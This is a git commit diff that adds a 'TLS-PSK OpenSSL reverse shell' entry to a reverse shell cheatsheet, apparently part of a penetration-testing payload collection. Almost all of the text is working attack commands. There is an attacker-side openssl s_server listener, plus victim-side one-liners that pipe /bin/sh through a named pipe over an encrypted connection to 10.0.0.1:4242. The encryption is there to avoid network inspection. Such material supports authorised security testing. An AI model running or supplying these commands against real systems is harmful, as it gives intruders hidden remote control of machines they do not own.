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Add TLS-PSK OpenSSL reverse shell method

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Artiom Mocrenco 2020-07-08 17:01:38 +03:00 committed by GitHub
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Methodology and Resources/Reverse Shell Cheatsheet.md
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@ -175,6 +175,17 @@ user@attack$ ncat --ssl -vv -l -p 4242
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
```
TLS-PSK (does not rely on PKI or self-signed certificates)
```bash
# generate 48-bit PSK
# use the generated string as a value for the two PSK variables from below
openssl rand -hex 48
# server (attacker)
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
# client (victim)
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE
```
### Powershell
```powershell